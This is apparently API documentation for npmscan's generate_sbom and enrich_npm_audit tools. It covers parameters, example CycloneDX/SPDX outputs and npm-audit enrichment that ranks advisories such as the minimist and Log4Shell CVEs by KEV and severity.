- ›pnpm-lock.yaml and yarn.lock already cover every workspace member on their own (pnpm's lockfile unions every "importers" entry; yarn.lock has no root/member distinction at all) — workspacePackageCount stays 0 for those even when isMonorepo is true, and workspaceNote explains why.
CycloneDX gets a top-level vulnerabilities[] array (one entry per unique advisory id, with every affected component listed in affects[] rather than duplicating the same advisory per component) and per-component licenses[]. SPDX 2.3 has no vulnerabilities array of its own, so each finding becomes a packages[].externalRefs[] entry (referenceCategory "SECURITY", referenceType "advisory") instead, alongside the real native licenseDeclared/licenseConcluded fields. Every vulnerability's analysis.state is "in_triage" — npmscan surfaced an OSV/GHSA match for the resolved version but hasn't manually assessed exploitability, so that is the honest VEX state, not "exploitable". A package with no findings gets no vulnerability entry at all, and the CycloneDX dependencies[] transitive graph / any SPDX package hierarchy is intentionally left out — this only has a flat inventory, not resolved edges between packages.
| Name | Type | Required | Description |
|---|---|---|---|
| packages | array | optional | Explicit {name, version?} list — 1-1000 items, capped to 100 when includeLicenses is on. Use this OR `content`, not both. |
| content | string | optional | Raw package.json / lockfile / CycloneDX JSON / SPDX JSON content — same formats batch_query_vulnerabilities accepts. Use this OR `packages`, not both. |
| format | string | optional | "cyclonedx" | "spdx". Default "cyclonedx". |
| includeDevDependencies | boolean | optional | Only applies when `content` is a manifest/lockfile format that distinguishes dev dependencies. |
| includeVulnerabilities | boolean | optional | Query OSV.dev and embed findings natively. Default true. |
| includeLicenses | boolean | optional | Resolve registry license data and embed it natively. Default true. |
| policy | object | optional | { allow?: string[], deny?: string[] } — same shape as check_license_compliance. Only affects the echoed policy/licenseViolationCount, never blocks generation. |
| componentName | string | optional | Name of the SBOM's own root component/document, if known — sets SPDX documentDescribes to the matching package. |
| componentVersion | string | optional | Paired with componentName. |
minimist@1.2.5 is the same trusted prototype-pollution fixture used across npmscan's own tests (fixed in 1.2.6) — analysis.state is always "in_triage", never a stronger claim like "exploitable".
CVE-2021-44906 on the NIST NVDgenerate_sbom({
"packages": [{ "name": "minimist", "version": "1.2.5" }]
}){
"format": "cyclonedx",
"sbom": {
"bomFormat": "CycloneDX",
"specVersion": "1.6",
"components": [
{ "bom-ref": "pkg:npm/minimist@1.2.5", "type": "library", "name": "minimist", "version": "1.2.5", "purl": "pkg:npm/minimist@1.2.5", "licenses": [{ "expression": "MIT" }] }
],
"vulnerabilities": [
{
"id": "GHSA-xvch-5gv4-984h",
"source": { "name": "GitHub Advisories", "url": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h" },
"references": [{ "id": "CVE-2021-44906", "source": { "name": "NVD" } }],
"ratings": [{ "source": { "name": "OSV" }, "severity": "critical" }],
"recommendation": "Upgrade to 1.2.6 or later.",
"affects": [{ "ref": "pkg:npm/minimist@1.2.5" }],
"analysis": { "state": "in_triage" }
}
]
},
"totalVulnerabilities": 1,
"packagesWithVulnerabilities": 1
}left-pad@1.3.0 has zero OSV findings, so no SECURITY/advisory externalRef is added at all — SBOM generators (this one included) only ever assert what was found, never assert absence.
generate_sbom({
"packages": [{ "name": "left-pad", "version": "1.3.0" }],
"format": "spdx"
}){
"format": "spdx",
"sbom": {
"spdxVersion": "SPDX-2.3",
"packages": [
{
"SPDXID": "SPDXRef-Package-0",
"name": "left-pad",
"versionInfo": "1.3.0",
"downloadLocation": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
"licenseDeclared": "WTFPL",
"licenseConcluded": "WTFPL",
"externalRefs": [
{ "referenceCategory": "PACKAGE-MANAGER", "referenceType": "purl", "referenceLocator": "pkg:npm/left-pad@1.3.0" }
]
}
]
},
"totalVulnerabilities": 0,
"packagesWithVulnerabilities": 0
}Same minimist@1.2.5 as the first example, but with the OSV pass opted out of — useful when a caller only wants a license-focused SBOM and wants to skip the OSV round-trip for latency.
generate_sbom({
"packages": [{ "name": "minimist", "version": "1.2.5" }],
"includeVulnerabilities": false
}){
"format": "cyclonedx",
"sbom": {
"components": [
{ "bom-ref": "pkg:npm/minimist@1.2.5", "type": "library", "name": "minimist", "version": "1.2.5", "purl": "pkg:npm/minimist@1.2.5", "licenses": [{ "expression": "MIT" }] }
]
},
"totalVulnerabilities": 0,
"packagesWithVulnerabilities": 0
}- ›Shares its business logic with POST /api/analysis/generate-sbom.
- ›Reuses batch_query_vulnerabilities' own parsing and OSV enrichment, and check_license_compliance's own registry/policy resolution wholesale — the package cap tightens from 1000 to 100 whenever includeLicenses is on, the same per-package registry-fetch cost check_license_compliance itself caps at 100 for.
- ›`sbom` is validated against the official CycloneDX 1.6 / SPDX 2.3 JSON Schemas in npmscan's own test suite, not just assumed correct from hand-written field mapping.
npm audit's JSON is the single most common artifact a developer already has in hand when asking "what do I fix first," but it's a fundamentally different shape from a manifest/lockfile/SBOM — already a findings report, keyed by package with advisory chains, not a package list. This parses it directly (no re-pasting package.json/lockfile content) and calls the same runPrioritizeRemediation logic prioritize_remediation itself uses. The one non-obvious step: npm audit JSON almost never carries a CVE id, only a GHSA advisory URL, and KEV/EPSS are both keyed by CVE — so skipping GHSA resolution would silently degrade nearly every finding to severity-only ranking. Each GHSA without an already-known CVE is resolved via OSV.dev's alias data first; ghsaResolvedToCveCount in the result reports how many gained a CVE this way. Also carries through npm-audit-only context prioritize_remediation has no field for: isDirect (direct vs. transitive) and fixAvailable/fixTarget (note fixTarget can name a different package than the vulnerable one, e.g. bumping a parent to pull in a patched transitive dependency).
| Name | Type | Required | Description |
|---|---|---|---|
| content | string | required | Raw `npm audit --json` stdout — either npm 7+'s {"vulnerabilities": {...}} format (auditReportVersion 2) or legacy npm 6's {"advisories": {...}}. |
GHSA-jfh8-c2jp-5v3q (log4j-core's advisory) carries CVE-2021-44228 (Log4Shell) as its OSV alias — a long-standing CISA KEV entry, used as a regression guard in npmscan's own tests for the same reason prioritize_remediation's tests use it directly.
CVE-2021-44228 on the NIST NVDenrich_npm_audit({
"content": "{\"auditReportVersion\":2,\"vulnerabilities\":{\"vulnerable-log4j-wrapper\":{\"name\":\"vulnerable-log4j-wrapper\",\"severity\":\"critical\",\"isDirect\":true,\"via\":[{\"source\":1,\"name\":\"vulnerable-log4j-wrapper\",\"url\":\"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q\",\"title\":\"Remote code execution\",\"severity\":\"critical\"}],\"fixAvailable\":true}}}"
}){
"inputFormat": "npm-audit-v2",
"ghsaResolvedToCveCount": 1,
"summary": { "patchNow": 1, "patchSoon": 0, "scheduled": 0, "monitor": 0, "kevListedCount": 1 },
"ranked": [
{
"rank": 1,
"packageName": "vulnerable-log4j-wrapper",
"cveId": "CVE-2021-44228",
"advisoryId": "GHSA-jfh8-c2jp-5v3q",
"kev": { "dateAdded": "2021-12-10", "requiredAction": "Apply updates per vendor instructions." },
"tier": "patch-now",
"isDirect": true,
"fixAvailable": true,
"fixTarget": null
}
]
}Legacy `advisories[].cves` gives the CVE directly, and `findings[0].version` gives the exact installed version — the one thing v2's format never states at all.
enrich_npm_audit({
"content": "{\"advisories\":{\"1179\":{\"id\":1179,\"module_name\":\"minimist\",\"severity\":\"critical\",\"cves\":[\"CVE-2021-44906\"],\"url\":\"https://github.com/advisories/GHSA-xvch-5gv4-984h\",\"findings\":[{\"version\":\"1.2.5\",\"paths\":[\"minimist\"]}]}}}"
}){
"inputFormat": "npm-audit-legacy",
"ghsaResolvedToCveCount": 0,
"ranked": [
{ "rank": 1, "packageName": "minimist", "cveId": "CVE-2021-44906", "currentVersion": "1.2.5", "fixedVersion": null }
]
}Both use report shapes different enough from npm's that silently misparsing them would produce wrong findings rather than an obvious failure — rejected up front instead, with a pointer to batch_query_vulnerabilities for those.
enrich_npm_audit({ "content": "{\"type\":\"auditAdvisory\",\"data\":{...}}" }){ "error": "Could not detect a supported npm audit JSON format — expected npm 7+ {\"vulnerabilities\": {...}} (auditReportVersion 2) or legacy npm 6 {\"advisories\": {...}}. `yarn audit --json` and `pnpm audit --json` use different report shapes and are not supported here — use batch_query_vulnerabilities with the project's manifest/lockfile instead." }- ›Shares its business logic with POST /api/analysis/enrich-npm-audit, and composes runPrioritizeRemediation in-process rather than re-implementing KEV/EPSS/severity scoring.
- ›One finding per top-level `vulnerabilities` package key (npm v2) — a package whose `via` is only chain pointers to another package's own advisory contributes no separate finding (counted in `skippedCount`, not dropped silently); a package with more than one distinct advisory only has the first used for ranking, named in a warning.
- ›A GHSA with no CVE alias in OSV falls back to severity-only ranking, the same documented behavior prioritize_remediation uses for any finding with no `cveId`.